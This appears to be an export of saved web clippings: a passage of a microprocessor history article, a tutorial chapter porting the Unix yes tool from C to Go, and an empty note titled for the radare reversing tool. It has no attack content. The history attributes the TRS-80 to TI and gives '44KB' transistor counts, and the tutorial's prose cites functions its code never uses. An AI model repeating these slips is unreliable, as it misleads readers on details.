The Intel 4004 had a short and mostly uneventful history, to be superseded by
the 8008 and other early Intel chips \(see below\).

In 1973, Texas Instrument's Gary Boone was awarded U.S. Patent No. 3,757,306
for the single-chip microprocessor architecture. The chip was finally marketed
in stand-alone form in 1974, for the low, low \(bulk\) price of US$2 apiece.
In 1978, a special version of the TI TMS 1000 was the brains of the
educational "Speak and Spell" toy which E.T. jerry-rigged to phone home.

Early Intel: 4004, 8008, and 8080

Intel released its single 4-bit all-purpose chip, the Intel 4004, in November
1971. It had a clock speed of 108KHz and 2,300 transistors with ports for ROM,
RAM, and I/O. Originally designed for use in a calculator, Intel had to
renegotiate its contract to be able to market it as a stand-alone processor.
Its ISA had been inspired by the DEC PDP-8.

The Intel 8008 was introduced in April 1972, and didn't make much of a splash,
being more or less an 8-bit 4004. Its primary claim to fame is that its ISA --
provided by Computer Terminal Corporation \(CTC\), who had commissioned the
chip -- was to form the basis for the 8080, as well as for the later 8086
\(and hence the x86\) architecture. Lesser-known Intels from this time include
the nearly forgotten 4040, which added logical and compare instructions to the
4004, and the ill-fated 32-bit Intel 432.

Intel put itself back on the map with the 8080, which used the same
instruction set as the earlier 8008 and is generally considered to be the
first truly usable microprocessor. The 8080 had a 16-bit address bus and an
8-bit data bus, a 16-bit stack pointer to memory which replaced the 8-level
internal stack of the 8008, and a 16-bit program counter. It also contained
256 I/O ports, so I/O devices could be connected without taking away or
interfering with the addressing space. It also possessed a signal pin that
allowed the stack to occupy a separate bank of memory. These features are what
made this a truly modern microprocessor. It was used in the Altair 8800, one
of the first renowned  _personal computers_ \(other claimants to that title
include the 1963 MIT Lincoln Labs' 12-bit LINC/Laboratory Instruments Computer
built with DEC components and DEC's own 1965 PDP-8\).

Although the 4004 had been the company's first, it was really the 8080 that
clinched its future -- this was immediately apparent, and in fact in 1974 the
company changed its phone number so that the last four digits would be 8080.

**Where is Intel now?**  
Last time we checked, Intel was still around.

RCA 1802

In 1974, RCA released the 1802 8-bit processor with a different architecture
than other 8-bit processors. It had a register file of 16 registers of 16 bits
each and using the SEP instruction, you could select any of the registers to
be the program counter. Using the SEP instruction, you could choose any of the
registers to be the index register. It did not have standard subroutine CALL
immediate and RET instructions, though they could be emulated.

A few commonly used subroutines could be called quickly by keeping their
address in one of the 16 registers. Before a subroutine returned, it jumped to
the location immediately preceding its entry point so that after the RET
instruction returned control to the caller, the register would be pointing to
the right value for next time. An interesting variation was to have two or
more subroutines in a ring so that they were called in round-robin order.

The RCA 1802 is considered one of the first RISC chips although others
\(notably Seymore Cray -- see the sidebar, The evolution of RISC \-- had used
concepts already\).

**Where is it now?**  
Sadly, the RCA chip was a spectacular market failure due to its slow clock
cycle speed. But it could be fabricated to be radiation resistant, so it was
used on the  _Voyager 1_ ,  _Viking_ , and  _Galileo_ space probes \(where
rapidly executed commands aren't a necessity\).

IBM 801

In 1975, IBM® produced some of the earliest efforts to build a microprocessor
based on RISC design principles \(although it wasn't called RISC yet -- see
the sidebar, The evolution of RISC\). Initially a research effort led by John
Cocke \(the father of RISC\), many say that the IBM 801 was named after the
address of the building where the chip was designed -- but we suspect that the
IBM systems already numbered 601 and 701 had at least something to do with it
also.

**Where is the 801 now?**  
The 801 chip family never saw mainstream use, and was primarily used in other
IBM hardware. Even though the 801 never went far, it did inspire further work
which would converge, fifteen years later, to produce the Power Architecture™
family.

## The evolution of RISC

RISC stands for "Reduced Instruction Set Computing" or, in a more humorous
vein, for "Relegate the Important Stuff to the Compiler," and is also known as
_load-store architectures_.

In the 1970s, research at IBM produced the surprising result that some
operations were actually slower than a number of smaller operations doing the
same thing. A famous example of this was the VAX's `INDEX` instruction which
ran slower than a loop implementing the same code.

RISC started being adopted in a big way during the 1980s, but many projects
embodied its design ethic even before that. One notable example is Seymour
Cray's 1964 CDC 6600 supercomputer, which sported a design that included a
load-store architecture with two addressing modes and plenty of pipelines for
arithmetic and logic tasks \(more pipelines are necessary when you're
shuttling task instructions in and out of the CPU in a parallel manner as
opposed to a linear way\). Most RISC machines possess only about five simple
addressing modes -- the fewer addressing modes, the more reduced the
instruction set \(the IBM System 360 had only three modes\). Pipelined CPUs
are also easier to design if simpler addressing modes are used.

Moto 6800

In 1975, Motorola introduced the 6800, a chip with 78 instructions and
probably the first microprocessor with an  _index register_.

Two things are of significance here. One is the use of the index register
which is a processor register \(a small amount of fast computer memory that's
used to speed the execution of programs by providing quick access to commonly
used values\). The index register can modify operand addresses during the run
of a program, typically while doing vector/array operations. Before the
invention of index registers and without indirect addressing, array operations
had to be performed either by linearly repeating program code for each array
element or by using self-modifying code techniques. Both of these methods
harbor significant disadvantages when it comes to program flexibility and
maintenance and more importantly, they are wasteful when it comes to using up
scarce computer memory.

**Where is the 6800 now?**  
Many Motorola stand-alone processors and microcontrollers trace their lineage
to the 6800, including the popular and powerful 6809 of 1979

MOS 6502

Soon after Motorola released the 6800, the company's design team quit en masse
and formed their own company, MOS Technology. They quickly developed the MOS
6501, a completely new design that was nevertheless pin-compatible with the
6800. Motorola sued, and MOS agreed to halt production. The company then
released the MOS 6502, which differed from the 6501 only in the pin-out
arrangement.

The MOS 6502 was released in September 1975, and it sold for US$25 per unit.
At the time, the Intel 8080 and the Motorola 6800 were selling for US$179.
Many people thought this must be some sort of scam. Eventually, Intel and
Motorola dropped their prices to US$79. This had the effect of legitimizing
the MOS 6502, and they began selling by the hundreds. The 6502 was a staple in
the Apple® II and various Commodore and Atari computers.

**Where is the MOS 6502 now?**  
Many of the original MOS 6502 still have loving homes today, in the hands of
collectors \(or even the original owners\) of machines like the Atari 2600
video game console, Apple II family of computers, the first Nintendo
Entertainment System, the Commodore 64 -- all of which used the 6502. MOS 6502
processors are still being manufactured today for use in embedded systems.

AMD clones the 8080

Advanced Micro Devices \(AMD\) was founded in 1969 by Jerry Sanders. Like so
many of the people who were influential in the early days of the
microprocessor \(including the founders of Intel\), Sanders came from
Fairchild Semiconductor. AMD's business was not the creation of new products;
it concentrated on making higher quality versions of existing products under
license. For example, all of its products met MILSPEC requirements no matter
what the end market was. In 1975, it began selling reverse-engineered clones
of the Intel 8080 processor.

**Where is AMD now?**  
In the 1980s, first licensing agreements -- and then legal disputes -- with
Intel, eventually led to court validation of clean-room reverse engineering
and opened the 1990s floodgates to many clone corps.

Fairchild F8

The 8-bit Fairchild F8 \(also known as the 3850\) microcontroller was
Fairchild's first processor. It had no stack pointer, no program counter, no
address bus. It did have 64 registers \(the first 8 of which could be accessed
directly\) and 64 bytes of "scratchpad" RAM. The first F8s were multichip
designs \(usually 2-chip, with the second being ROM\). The F8 was released in
a single-chip implementation \(the Mostek 3870\) in 1977.

**Where is it now?**  
The F8 was used in the company's Channel F Fairchild Video Entertainment
System in 1976. By the end of the decade, Fairchild played mostly in niche
markets, including the "hardened" IC market for military and space
applications, and in Cray supercomputers. Fairchild was acquired by National
Semiconductor in the 1980s, and spun off again as an independent company in
1997.

16 bits, two contenders

The first multi-chip 16-bit microprocessor was introduced by either Digital
Equipment Corporation in its LSI-11 OEM board set and its packaged PDP 11/03
minicomputer, or by Fairchild Semiconductor with its MicroFlame 9440, both
released in 1975. The first single-chip 16-bit microprocessor was the 1976 TI
TMS 9900, which was also compatible with the TI 990 line of minicomputers and
was used in the TM 990 line of OEM microcomputer boards.

**Where are they now?**  
The DEC chipset later gave way to the 32-bit DEC VAX product line, which was
replaced by the Alpha family, which was discontinued in 2004.

The aptly named Fairchild MicroFlame ran hot and was never chosen by a major
computer manufacturer, so it faded out of existence.

The TI TMS 9900 had a strong beginning, but was packaged in a large \(for the
time\) ceramic 64-pin package which pushed the cost out of range compared with
the much cheaper 8-bit Intel 8080 and 8085. In March 1982, TI decided to start
ramping down TMS 9900 production, and go into the DSP business instead. TI is
still in the chip business today, and in 2004 it came out with a nifty TV
tuner chip for cell phones.

Zilog Z-80

Probably the most popular microprocessor of all time, the Zilog Z-80 was
designed by Frederico Faggin after he left Intel, and it was released in July
1976. Faggin had designed or led the design teams for all of Intel's early
processors: the 4004, the 8008, and particularly, the revolutionary 8080.

## Silicon Valley lineage

It is interesting to note that Federico Faggin defected from Intel to form his
own company; meanwhile Intel had been founded by defectors from Fairchild
Semiconductor, which had itself been founded by defectors from Shockley
Semiconductor Laboratory, which had been founded by William Shockley, who had
defected from AT&T Bell Labs -- where he had been one of the co-inventors of
the first transistor.

As an aside, Federico Faggin had also been employed at Fairchild Semiconductor
before leaving to join Intel.

This 8-bit microprocessor was binary compatible with the 8080 and
surprisingly, is still in widespread use today in many embedded applications.
Faggin intended it to be an improved version of the 8080 and according to
popular opinion, it was. It could execute all of the 8080 operating codes as
well as 80 more instructions \(including 1-, 4-, 8-, and 16-bit operations,
block I/O, block move, and so on\). Because it contained two sets of
switchable data registers, it supported fast operating system or interrupt
context switches.

The thing that really made it popular though, was its memory interface. Since
the CPU generated its own RAM refresh signals, it provided lower system costs
and made it easier to design a system around. When coupled with its 8080
compatibility and its support for the first standardized microprocessor
operating system CP/M, the cost and enhanced capabilities made this the choice
chip for many designers \(including TI; it was the brains of the TRS-80 Model
1\).

The Z-80 featured many undocumented instructions that were in some cases a by-
product of early designs \(which did not trap invalid op codes, but tried to
interpret them as best they could\); in other cases the chip area near the
edge was used for added instructions, but fabrication methods of the day made
the failure rate high. Instructions that often failed were just not
documented, so the chip yield could be increased. Later fabrication made these
more reliable.

**Where are they now?**  
In 1979, Zilog announced the 16-bit Z8000. Sporting another great design with
a stack pointer and both a user and a supervisor mode, this chip never really
took off. The main reason: Zilog was a small company, it struggled with
support, and never managed to bank enough to stay around and outlast the
competition.

However, Zilog is not only still making microcontrollers, it is still making
Z-80 microcontrollers. In all, more than one billion Z-80s have been made over
the years -- a proud testament to Faggin's superb design.

Faggin is currently Chairman of the Board & Co-Founder of Synaptics, a "user
interface solutions" company in the Silicon Valley.

Intel 8085 and 8086

In 1976, Intel updated the 8080 design with the 8085 by adding two
instructions to enable/disable three added interrupt pins \(and the serial I/O
pins\). They also simplified hardware so that it used only +5V power, and
added clock-generator and bus-controller circuits on the chip. It was binary
compatible with the 8080, but required less supporting hardware, allowing
simpler and less expensive microcomputer systems to be built. These were the
first Intel chips to be produced without input from Faggin.

In 1978, Intel introduced the 8086, a 16-bit processor which gave rise to the
x86 architecture. It did not contain floating-point instructions. In 1980 the
company released the 8087, the first math co-processor they'd developed.

Next came the 8088, the processor for the first IBM PC. Even though IBM
engineers at the time wanted to use the Motorola 68000 in the PC, the company
already had the rights to produce the 8086 line \(by trading rights to Intel
for its bubble memory\) and it could use modified 8085-type components \(and
68000-style components were much more scarce\).

Moto 68000

In 1979, Motorola introduced the 68000. With internal 32-bit registers and a
32-bit address space, its bus was still 16 bits due to hardware prices.
Originally designed for embedded applications, its DEC PDP-11 and VAX-inspired
design meant that it eventually found its way into the Apple Macintosh, Amiga,
Atari, and even the original Sun Microsystems® and Silicon Graphics computers.

**Where is the 68000 now?**  
As the 68000 was reaching the end of its life, Motorola entered into the
Apple-IBM-Motorola "AIM" alliance which would eventually produce the first
PowerPC® chips. Motorola ceased production of the 68000 in 2000.

Back to top

The dawning of the age of RISC: The 1980s

Advances in process ushered in the "more is more" era of VLSI, leading to true
32-bit architectures. At the same time, the "less is more" RISC philosophy
allowed for greater performance. When combined, VLSI and RISC produced chips
with awesome capabilities, giving rise to the UNIX® workstation market.

The decade opened with intriguing contemporaneous independent projects at
Berkeley and Stanford -- RISC and MIPS. Even with the new RISC families, an
industry shakeout commonly referred to as "the microprocessor wars," would
mean that we left the 1980s with fewer major micro manufacturers than we had
coming in.

By the end of the decade, prices had dropped substantially, so that record
numbers of households and schools had access to more computers than ever
before.

RISC and MIPS and POWER

RISC, too, started in many places at once, and was antedated by some of the
examples already cited \(see the sidebar, The evolution of RISC\).

**Berkeley RISC**  
In 1980, the University of California at Berkeley started something it called
the RISC Project \(in fact, the professors leading the project, David
Patterson and Carlo H. Sequin, are credited with coining the term "RISC"\).

The project emphasized pipelining and the use of register windows: by 1982,
they had delivered their first processor, called the RISC-I. With only 44KB
transistors \(compared with about 100KB in most contemporary processors\) and
only 32 instructions, it outperformed any other single chip design in
existence.

**MIPS**  
Meanwhile, in 1981, and just across the San Francisco Bay from Berkeley, John
Hennessy and a team at Stanford University started building what would become
the first MIPS processor. They wanted to use deep instruction pipelines -- a
difficult-to-implement practice -- to increase performance. A major obstacle
to pipelining was that it required the hard-to-set-up interlocks in place to
ascertain that multiple-clock-cycle instructions would stop the pipeline from
loading data until the instruction was completed. The MIPS design settled on a
relatively simple demand to eliminate interlocking -- all instructions must
take only one clock cycle. This was a potentially useful alteration in the
RISC philosophy.

**POWER**  
Also contemporaneously and independently, IBM continued to work on RISC as
well. 1974's 801 project turned into Project America and Project Cheetah.
Project Cheetah would become the first workstation to use a RISC chip, in
1986: the PC/RT, which used the 801-inspired ROMP chip.

**Where are they now?**  
By 1983, the RISC Project at Berkeley had produced the RISC-II which contained
39 instructions and ran more than 3 times as fast as the RISC-I. Sun
Microsystem's SPARC \(Scalable Processor ARChitecture\) chip design is heavily
influenced by the minimalist RISC Project designs of the RISC-I and -II.

Professors Patterson and Sequin are both still at Berkeley.

MIPS was used in Silicon Graphics workstations for years. Although SGI's
newest offerings now use Intel processors, MIPS is very popular in embedded
applications.

Professor Hennessy left Stanford in 1984 to form MIPS Computers. The company's
commercial 32-bit designs implemented the interlocks in hardware. MIPS was
purchased by Silicon Graphics, Inc. in 1992, and was spun off as MIPS
Technologies, Inc. in 1998. John Hennessy is currently Stanford University's
tenth President.

IBM's Cheetah project, which developed into the PC-RT's ROMP, was a bit of a
flop, but Project America was in prototype by 1985 and would, in 1990, become
RISC System/6000. Its processor would be renamed the POWER1.

RISC was quickly adopted in the industry, and today remains the most popular
architecture for processors. During the 1980s, several additional RISC
families were launched. Aside from those already mentioned above were:

  * CRISP \(C Reduced Instruction Set Processor\) from AT&T Bell Labs.
  * The Motorola 88000 family.
  * Digital Equipment Corporation Alpha's \(the world's first single-chip 64-bit microprocessor\).
  * HP Precision Architecture \(HP PA-RISC\).

32-bitness

The early 1980s also saw the first 32-bit chips arrive in droves.

**BELLMAC-32A**  
AT&T's Computer Systems division opened its doors in 1980, and by 1981 it had
introduced the world's first single-chip 32-bit microprocessor, the AT&T Bell
Labs' BELLMAC-32A, \(it was renamed the WE 32000 after the break-up in 1984\).
There were two subsequent generations, the WE 32100 and WE 32200, which were
used in:

  * the 3B5 and 3B15 minicomputers
  * the 3B2, the world's first desktop supermicrocomputer
  * the "Companion", the world's first 32-bit laptop computer
  * "Alexander", the world's first book-sized supermicrocomputer

All ran the original Bell Labs UNIX.

**Motorola 68010 \(and friends\)**  
Motorola had already introduced the MC 68000, which had a 32-bit architecture
internally, but a 16-bit pinout externally. It introduced its pure 32-bit
microprocessors, the MC 68010, 68012, and 68020 by 1985 or thereabouts, and
began to work on a 32-bit family of RISC processors, named 88000.

**NS 32032**  
In 1983, National Semiconductor introduced a 16-bit pinout, 32-bit internal
microprocessor called the NS 16032, the full 32-bit NS 32032, and a line of
32-bit industrial OEM microcomputers. Sequent also introduced the first
symmetric multiprocessor \(SMP\) server-class computer using the NS 32032.

Intel entered the 32-bit world in 1981, same as the AT&T BELLMAC chips, with
the ill-fated 432. It was a three-chip design rather than a single-chip
implementation, and it didn't go anywhere. In 1986, its 32-bit i386 became its
first single-chip 32-bit offering, closely followed by the 486 in 1989.

**Where are they now?**  
AT&T closed its Computer Systems division in December, 1995. The company
shifted to MIPS and Intel chips.

Sequent's SMP machine faded away, and that company also switched to Intel
microprocessors.

The Motorola 88000 design wasn't commercially available until 1990, and was
cancelled soon after in favor of Motorola's deal with IBM and Apple to create
the first PowerPC.

ARM is born

In 1983, Acorn Computers Ltd. was looking for a processor. Some say that Acorn
was refused access to Intel's upcoming 80286 chip, others say that Acorn
rejected both the Intel 286 and the Motorola MC 68000 as being not powerful
enough. In any case, the company decided to develop its own processor called
the Acorn RISC Machine, or ARM. The company had development samples, known as
the ARM I by 1985; production models \(ARM II\) were ready by the following
year. The original ARM chip contained only 30,000 transistors.

**Where are they now?**  
Acorn Computers was taken over by Olivetti in 1985, and after a few more
shakeups, was purchased by Broadcom in 2000.

However, the company's ARM architecture today accounts for approximately 75%
of all 32-bit embedded processors. The most successful implementation has been
the ARM7TDMI with hundreds of millions sold in cellular phones. The
Digital/ARM combo StrongARM is the basis for the Intel XScale processor.

Back to top

A new hope: The 1990s

The 1990s dawned just a few months after most of the Communist governments of
Eastern and Central Europe had rolled over and played dead; by 1991, the Cold
War was officially at an end. Those high-end UNIX workstation vendors who were
left standing after the "microprocessor wars" scrambled to find new, non-
military markets for their wares. Luckily, the commercialization and broad
adoption of the Internet in the 1990s neatly stepped in to fill the gap. For
at the beginning of that decade, you couldn't run an Internet server or even
properly connect to the Internet on anything but UNIX. A side effect of this
was that a large number of new people were introduced to the open-standards
Free Software that ran the Internet.

The popularization of the Internet led to higher desktop sales as well,
fueling growth in that sector. Throughout the 1990s, desktop chipmakers
participated in a mad speed race to keep up with "Moore's Law" \-- often
neglecting other areas of their chips' architecture to pursue elusive clock
rate milestones.

32-bitness, so coveted in the 1980s, gave way to 64-bitness. The first high-
end UNIX processors would blazon the 64-bit trail at the very start of the
1990s, and by the time of this writing, most desktop systems had joined them.
The POWER™ and PowerPC family, introduced in 1990, had a 64-bit ISA from the
beginning.

Power Architecture

IBM introduced the POWER architecture -- a multichip RISC design -- in early
1990. By the next year, the first single-chip PowerPC derivatives \(the
product of the Apple-IBM-Motorola AIM alliance\) were available as a high-
volume alternative to the predominating CISC desktop structure.

**Where is Power Architecture technology now?**  
Power Architecture technology is popular in all markets, from the high-end
UNIX eServer™ to embedded systems. When used on the desktop, it is often known
as the Apple G5. The cooperative climate of the original AIM alliance has been
expanded into an organization by name of Power.org.

DEC Alpha

In 1992, DEC introduced the Alpha 21064 at a speed of 200MHz. The superscalar,
superpipelined 64-bit processor design was pure RISC, but it outperformed the
other chips and was referred to by DEC as the world's fastest processor.
\(When the Pentium was launched the next spring, it only ran at 66MHz.\) The
Alpha too was intended to be used in both UNIX server/workstations as well as
desktop variants.

The primary contribution of the Alpha design to microprocessor history was not
in its architecture -- that was pure RISC. The Alpha's performance was due to
excellent implementation. The microchip design process is dominated by
automated logic synthesis flows. To deal with the extremely complex VAX
architecture, Digital designers applied human, individually crafted attention
to circuit design. When this was applied to a simple, clean architecture like
the RISC-based Alpha, the combination gleaned the highest possible
performance.

**Where is Alpha now?**  
Sadly, the very thing that led Alpha down the primrose path -- hand-tuned
circuits -- would prove to be its undoing. As DEC was going out of business, ,
its chip division, Digital Semiconductor, was sold to Intel as part of a legal
settlement. Intel used the StrongARM \(a joint project of DEC and ARM\) to
replace its i860 and i960 line of RISC processors.

The Clone Wars begin

In March 1991, Advanced Micro Devices \(AMD\) introduced its clone of Intel's
i386DX. It ran at clock speeds of up to 40MHz. This set a precedent for AMD --
its goal was not just cheaper chips that would run code intended for Intel-
based systems, but chips that would also outperform the competition. AMD chips
are RISC designs internally; they convert the Intel instructions to
appropriate internal operations before execution.

Also in 1991, litigation between AMD and Intel was finally settled in favor of
AMD, leading to a flood of clonemakers -- among them, Cyrix, NexGen, and
others -- few of which would survive into the next decade.

In the desktop space, Moore's Law turned into a Sisyphean treadmill as makers
chased elusive clock speed milestones.

**Where are they now?**  
Well, of course, AMD is still standing. In fact, its latest designs are being
cloned by Intel\!

Cyrix was acquired by National Semiconductor in 1997, and sold to VIA in 1999.
The acquisition turned VIA into a processor player, where it had mainly
offered core logic chipsets before. The company today specializes in high-
performance, low-power chips for the mobile market.

## CISC

CISC was a retroactive term. It was coined and applied to processors after the
fact, in order to distinguish traditional CPUs from the new RISC designs. Then
in 1993, Intel introduced the Pentium, which was a pipelined, in-order
superscalar architecture. It was also backwards-compatible with the older x86
architecture and was thus almost a "hybrid" chip -- a blend of RISC and CISC
design ideas. Later, the Pentium Pro included out-of-order code execution and
branch prediction logic, another typically RISC concept.

Back to top

Where are  _we_ now? The 2000s

The 2000s have come along and it's too early yet to say what will have
happened by decade's end. As Federico Faggin said, the exponential progression
of Moore's law cannot continue forever. As the day nears when process will be
measured in Angstroms instead of nanometers, researchers are furiously
experimenting with layout, materials, concepts, and process. After all,
today's microprocessors are based on the same architecture and processes that
were first invented 30 years ago -- something has definitely got to give.

We are not at the end of the decade yet, but from where we sit at its mid-way
point, the major players are few, and can easily be arranged on a pretty small
scorecard:

In high-end UNIX, DEC has phased out Alpha, SGI uses Intel, and Sun is
planning to outsource production of SPARC to Fujitsu \(IBM continues to make
its own chips\). RISC is still king, but its MIPS and ARM variants are found
mostly in embedded systems.

In 64-bit desktop computing, the DEC Alpha is being phased out, and HP just
ended its Itanium alliance with Intel. The AMD 64 \(and its clones\) and the
IBM PowerPC are the major players, while in the desktop arena as a whole,
Intel, AMD, and VIA make x86-compatible processors along RISC lines.

As for 2005 and beyond, the second half of the decade is sure to bring as many
surprises as the first. Maybe you have ideas as to what they might be\! Take
this month's chips challenge, and let us know your predictions for chips in
2005.

The history of microprocessors is a robust topic -- this article hasn't
covered everything, and we apologize for any omissions. Please e-mail the
Power Architecture editors with any corrections or additions to the
information provided here.

  

Resources

  * Wikipedia offers a broad history of the microprocessor in its many architectures and incarnations and CPU Design.   
  

  * Other Wiki entries germane to today's story include Fairchild Semiconductor and William Shockley, as well as RISCandCMOS.  
  

  * Contemporaneous \(and not so contemporaneous\) independent discovery and invention plagues historians at every turn. Did you think Ben Franklin invented the lightning rod? He did, of course - but he was beat to production by Prokop Divis\(whose lightning conductor was torn down by an angry Moravian mob who was convinced it had caused a drought\). Thelight bulb was not invented by Edison any more than radio by Marconi or the mechanical calculator by Pascal \(or evenSchickard\!\).  
  

  * Independent discovery is not the only thing that makes tracing these histories difficult: inventors also quite naturally have a habit of building on the work of others: DeForest refined Fleming's vacuum tube while investigating observations that had been made by Edison. The first transistor was made by Bardeen and Brattain in 1947, and refined by Shockley in 1950 - and none of them would have been possible without prior work on the conductivity of germanium by AT&T Bell Labs'Russel Ohl. Although Bardeen, Brattain, and Shockley shared a Nobel Prize for their work, AT&T never was granted a patent, because of Lilienfeld's prior art \(there is some evidence that project lead Shockley was familiar with Lilienfield's work\).   
  

  * Tracing the invention of the integrated circuit and its evolution into the microprocessor leads you through a similarly tangled web: the idea of putting an entire circuit on a chip was proposed as early as 1952 by G. W. A. Dummer, and by 1959 Richard Feynman was urging his colleagues to go nano in his well-known talk There's Plenty of Room at the Bottom.Jack Kilby at Texas Instruments and Robert Noyce at Fairchild Semiconductor both invented integrated circuits independently in 1958. Kilby got the Nobel Prize, Noyce got the patent.   
  

  * Things get even more muddied tracing the lineage of the Intel 4004. The official version usually places the credit on the shoulders of Marcian "Ted" Hoff and Stanley Mazor. Others insist that as the designer, Federico Faggin deserves the most credit \(a few will say that Matasoshi Shima deserves equal billing with Faggin\). More recently, Wayne D. Pickette, who also worked with Faggin and Shima, has stepped forward to say that the 4004 also owes a great deal to the PDP-8. Of all of the people named above, only Federico Faggin's initials are etched directly onto the 4004.   
Things are much calmer over Texas Instruments' way, where Gary Boone's 1973
patent for the single-chip microprocessor architecture has not been, as far as
we know, ever been disputed.  
  

  * Links to Microprocessor Resources provides a comprehensive list of histories of microchip development. As well, micro history sites you will enjoy include John Bayko's Great Microprocessors of the Past and Present \(V 13.4.0\), Mark Smotherman's Who are the computer architects?, and The History of Computing Project's History of hardware \(to name but a few\). The COMPUTERS' HISTORY page has a nice timeline \(alas, only to 1995\) while the Computers & Microprocessorssite employs shocking colors, but includes good links.   
  

  * Some individual chips that are less-often mentioned in those histories include the Fairchild f8 which was included in theChannel F home video system. You will also find the history of Intel's star-crossed 32-bit 432 intriguing. Texas Instruments' new TV tuner chip is described at CNN.   
  

  * Read the developerWorks article, The year in microprocessors, which outlines the themes of the microprocessor industry in 2004 \(developerWorks, December 2004\).  
  

  * For IBM's role in processor production see "POWER to the people \(A history of chipmaking at IBM"\) \(_developerWorks_ , August 2004\), and PowerPC Architecture: A high-performance architecture with a history both from IBM. A Look Back at the IBM PC \(IT Management, 2004\) and 27 years of IBM RISC and Andrew Allison's A Brief History of RISC.   
  

  * Have experience you'd be willing to share with Power Architecture zone readers? Article submissions on all aspects of Power Architecture technology from authors inside and outside IBM are welcomed. Check out the Power Architecture author FAQ to learn more.  
  

  * Have a question or comment on this story, or on Power Architecture technology in general? Post it in the Power Architecture technical forum or send in a letter to the editors.  
  

  * Get a subscription to the Power Architecture Community Newsletter when you Join the Power Architecture community.   
  

  * All things Power are chronicled in the developerWorks Power Architecture editors' blog, which is just one of manydeveloperWorks blogs.  
  

  * Find more articles and resources on Power Architecture technology and all things related in the developerWorks Power Architecture technology content area.  
  

  * Download a IBM PowerPC 405 Evaluation Kit to demo a SoC in a simulated environment, or just to explore the fully licensed version of Power Architecture technology. This and other fine Power Architecture-related downloads are listed in the developerWorks Power Architecture technology content area's downloads section.

# C to Go - Chapter 1. yes

**Created:**| _5/11/2011 8:54:38 PM_  
---|---  
**Updated:**| _5/11/2011 8:54:38 PM_  
**Author:**| __  
**Tags:**| _Google_  
  

## Chapter 1. yes

Instead of "Hello, World\!", we rebelliously open with a real utility, a basic
version of the `yes` tool. In C:

[code]

    #include <stdio.h>
    int main() { for(;;) puts("y"); }
    
[/code]

A direct Go translation trades parentheses and semicolons for braces:

[code]

    package main
    import "fmt"
    func main() { for { fmt.Println("y") } }
    
[/code]

We deviate from standard style for compactness. Run `gofmt` to fix this.

## Yes, really

When given arguments, instead of `y`, the `yes` program is supposed to print
all the arguments separated by single spaces, or as we might say in C:

[code]

    #include <stdio.h>
    int main(int argc, char **argv) {
      for(;;) {
        if (argc < 2) puts("y"); else {
          for(int i = 1; i < argc; i++) {
            if (i > 1) putchar(' ');
            printf("%s", argv[i]);
          }
          putchar('\n');
        }
      }
    }
    
[/code]

Again, Go is marginally lengthier:

[code]

    package main
    import ("flag";"fmt")
    func main() {
      flag.Parse()
      for {
        if flag.NArg() == 0 { fmt.Println("y") } else {
          for i:=0; i<flag.NArg(); i++ {
            if i>0 { fmt.Print(" ") }
            fmt.Print(flag.Arg(i))
          }
          fmt.Println()
        }
      }
    }
    
[/code]

To compensate, Go is arguably clearer. C veterans instantly recognize `argc`
and `argv`, but these are inscrutable compared to Go’s `flag` package. Also, C
counts the program’s name as the first command-line argument, which can cause
off-by-one confusion.

There are only 3 semicolons, and even they could be replaced with newlines.
This reduces clutter, though you can always append semicolons to statements if
you miss them\!

Like JavaScript, Go inserts semicolons automatically. Unlike JavaScript, Go’s
scheme is simple and useful. However, care is needed. As a rule, never start a
new line with an opening brace; it belongs with the previous line. Go style is
akin to The One True Brace Style of C.

## Error-handling

When writes fail, our program should print an error message and exit.

We can reduce the number of annoying error checks by consolidating the write
statements: we fill a buffer with the command-line arguments, correctly
formatted, and then we need only look for errors when dumping this buffer.
This design may be preferable in any case, as it moves most of the processing
out of the loop.

Because the arguments' lengths are initially unknown, in C, we must resort to
heap allocation:

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char **argv) {
      char *s = 0;
      int n = 0;
      if (argc < 2) s = "y\n", n = 2; else {
        for(int i = 1; i < argc; i++) n += strlen(argv[i]) + 1;
        if (!(s = malloc(n+1))) perror("yes"), exit(1);
        strcpy(s, argv[1]);
        for(int i = 2; i < argc; i++) strcat(strcat(s, " "), argv[i]);
        strcat(s, "\n");
      }
      for(;;) if (n != fwrite(s, 1, n, stdout)) perror("yes"), exit(1);
    }
    
[/code]

We need to allocate one extra byte because `sprintf()` writes a trailing zero
byte.

With Go, we can do without fiddly memory calculations, and its string built-in
type further reduces verbosity:

[code]

    package main
    import ("flag";"os")
    func main() {
      flag.Parse()
      s := "y\n"
      if flag.NArg() > 0 {
        s = flag.Arg(0)
        for i := 1; i < flag.NArg(); i++ {
          s = s + " " + flag.Arg(i)
        }
        s += "\n"
      }
      for {
        if _,er := os.Stdout.WriteString(s); er != nil {
          println("yes:", er)
          os.Exit(1)
        }
      }
    }
    
[/code]

Go is simpler and hence clearer. Error handling is particularly elegant in Go
thanks to multiple return values. Returning errors in C is unpleasant: as seen
here, `getchar()` returns an int, not a char, so it can use the special EOF
value to indicate an error. Other functions might return -1, or NULL, or use
some other ad hoc scheme.

Sometimes, special error return values are convenient. But when they aren’t,
what can we do? If we insist on out-of-band errors in a C function that
already returns a value, we must either define a struct to hold a value/error
tuple, or add pointer arguments.

Multiple return values neatly solve our dilemma. They also simplify swapping
two variables:

[code]

    a, b = b, a
    
[/code]

Incidentally, we’ve switched from `Printf` to `WriteString` because we have no
need for formatting: one fewer package to import.

## Strings, memory

Strings are immutable in Go, so the above code allocates memory for every
concatenation. If this mattered, we could work with a buffer in-place with the
`bytes` package:

[code]

    ...
      if flag.NArg() > 0 {
        b := bytes.NewBufferString("")
        for i := 0; i < flag.NArg(); i++ {
          if i > 0 { b.WriteByte(' ') }
          b.WriteString(flag.Arg(i))
        }
        b.WriteByte('\n')
        s = b.String()
      }
    ...
    
[/code]

An unsuccessful malloc has no analog in Go. On many systems, this hardly
differs from C due to overcommitting: the kernel returns a valid pointer for a
memory allocation request even when there is insufficient memory to honour the
request, and runs into trouble when a program tries to use its memory. Thus a
C malloc\(\) may not return NULL even if we are out of memory.

# radare

**Created:**| _7/16/2011 8:42:53 AM_  
---|---  
**Updated:**| _7/16/2011 8:42:53 AM_  
**Author:**| __  
**Tags:**| _security tools reversing awesome_  
  
r2 API usage. ITrace, a practical case

* * *  
---  
<img src='img/Temp2_10586.png' />  
